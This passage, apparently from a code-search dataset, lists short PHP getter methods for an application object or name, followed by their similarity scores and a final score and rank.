"public function getAppNameForApiKey($apiKey);", "public static function applicationName(string $name): MetaTag {\n return static::namedContent('application-name', $name);\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function name() : string\n {\n return config('app.name');\n }", "public function application($path = '')\n {\n return $this->resolvePath($this->applicationRoot, $path);\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n\t{\n\t\treturn $this->application;\n\t}", "public function getApplication()\n\t{\n\t\treturn $this->application;\n\t}", "protected function getApp()\n {\n return $this->app;\n }" ]
[ "0.8029991", "0.77614003", "0.7251576", "0.7122614", "0.70555353", "0.68985105", "0.6877933", "0.6877933", "0.6877933", "0.6810281", "0.68039024", "0.67635626", "0.6708645", "0.66962713", "0.6681037", "0.66683155", "0.66405374", "0.66039616", "0.6584788", "0.6570657", "0.65518266", "0.65518266", "0.65518266", "0.65518266", "0.65518266", "0.65364546", "0.652872", "0.6522352", "0.6482846", "0.64399457", "0.6415722", "0.63988596", "0.6379258", "0.63549477", "0.63549477", "0.63549477", "0.63549477", "0.63549477", "0.63549477", "0.62671596", "0.6201948", "0.6188374", "0.61770016", "0.61637014", "0.61118674", "0.6080019", "0.6033215", "0.598811", "0.5953512", "0.593476", "0.59062916", "0.58881265", "0.5879571", "0.5878645", "0.585937", "0.5853875", "0.5848555", "0.5845587", "0.58350056", "0.58215636", "0.580964", "0.580625", "0.5799108", "0.5775711", "0.57725376", "0.57675743", "0.5754081", "0.5743424", "0.57360363", "0.57291496", "0.5715028", "0.57135475", "0.5709505", "0.56914616", "0.5687563", "0.5686721", "0.5686172", "0.56767803", "0.56767803", "0.56767803", "0.56767803", "0.56767803", "0.56767803", "0.567472", "0.5673135", "0.5670238", "0.56631476", "0.5658305", "0.5658305", "0.5658305", "0.5658305", "0.56510454", "0.564494", "0.56274176", "0.56274176", "0.56274176", "0.56274176", "0.5626871", "0.5626871", "0.562218" ]
0.6453972
29